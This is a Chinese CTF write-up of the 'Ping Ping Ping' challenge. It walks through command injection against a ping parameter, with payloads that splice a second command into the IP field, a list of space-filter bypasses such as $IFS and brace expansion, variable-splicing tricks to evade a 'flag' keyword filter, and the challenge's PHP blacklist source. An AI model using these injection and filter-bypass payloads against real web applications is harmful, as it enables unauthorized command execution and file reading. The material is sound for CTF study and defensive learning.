当前位置: 首页 > news >正文

[GXYCTF2019]Ping Ping Ping

解题步骤

  • 1、先使用 内敛执行 查看当前的php文件

  • 执行 命令执行 发现空格被过滤 ?ip=127.0.0.1$IFS|$IFSwhomi

  • 还有一个点就是这个 执行的命令是不能进行拼接的 可能就是被过滤了 | 所以我们使用 ; 进行绕过一下
  • 空格过滤代替
    $IFS
    ${IFS}
    ${IFS}$9 //这里$1到$9都可以
    $IFS$1 //这里$1到$9都可以
    <
    <>
    {cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
    %20 (space) //在shell中无法直接使用%20代替空格,但是在URL编码中可以尝试,tab同理
    %09 (tab)
    ?ip=127.0.0.1;cat$IFS`ls`
    内敛执行 : cat`ls` 就是查看 ls 执行结果的内容 这个其实就能执行拿下flag了

  • ctrl+u 查看源码

  • 升级 :

  • 代码审计
  • /?ip=
    |\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ // | 拼接执行全部鸡鸡
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    //过滤特殊的符号 preg_match() 函数表示使用正则进行匹配
    die("fxck your symbol!");
    } else if(preg_match("/ /", $ip)){
    die("fxck your space!"); //过滤空格
    } else if(preg_match("/bash/", $ip)){ // 不能使用反弹命令 bash
    die("fxck your bash!");
    } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ //发现 f l a g 都是被过滤的 那我们不能在后面写flag了
    die("fxck your flag!");
    }
    $a = shell_exec("ping -c 4 ".$ip);
    echo "
    ";
    print_r($a);
    }
    ?>

  • 这个我们需要使用变量拼接
  • 如这个 cat flag; 我们可以变为 X=fl;cat $Xag

  • ?ip=127.0.0.1;X=ag;$IFS$1cat$IFS$1fl$X.php
  • 这个变量拼接也是有说法的 多试一下
  • 如果 X=fl 不行就试一下 ag ,f, a等多试一下
  • 当然如果都不行就是试一下 ;a=f;b=l;c=a;d=g;cat$IFS$1$a$b$c$d.php

相关文章:

  • 驯龙日记:用Pandas驾驭数据的野性
  • 在AWS Glue中实现缓慢变化维度(SCD)的三种类型
  • 深圳市富力达:SAP一体化管理助力精密制造升级 | 工博科技SAP客户案例
  • 织梦dedecms网站如何修改上一篇下一篇的标题字数
  • 【Flutter】Flutter + Unity 插件结构与通信接口封装
  • 光场的相位与偏振
  • 详解 Unreal Engine(虚幻引擎)
  • 开源网络入侵检测与防御系统:Snort
  • Spark SQL开发实战:从IDEA环境搭建到UDF/UDAF自定义函数实现
  • Maven下载aspose依赖失败的解决方法
  • BeeWorks Meet更适合企业内部使用的原因
  • Linux中线程池的简单实现 -- 线程安全的日志模块,策略模式,线程池的封装设计,单例模式,饿汉式单例模式,懒汉式单例模式
  • streamlit实现非原生的按钮触发效果 + flask实现带信息的按钮触发
  • 前端浏览器窗口交互完全指南:从基础操作到高级控制
  • 论文导读 - 基于大规模测量与多任务深度学习的电子鼻系统实现目标识别、浓度预测与状态判断
  • [计算机科学#3]:布尔逻辑 (计算机数学基础)
  • 【中级软件设计师】编译和解释程序的翻译阶段、符号表 (附软考真题)
  • Lua 第10部分 模式匹配
  • 【嵌入式八股22】排序算法与哈希算法
  • 辞九门回忆
  • 莫斯科一机场实施临时限制措施
  • 3:0战胜日本队,中国羽毛球队挺进2025苏迪曼杯决赛
  • 关于“十五五”,在上海召开的这场座谈会释放最新信号
  • A股三大股指涨跌互现:3343股收涨,两市成交超1.1万亿元
  • 辽宁辽阳市白塔区一饭店发生火灾,当地已启动应急响应机制
  • 胸外科专家查出肺多发结节,说了一个可怕的事实……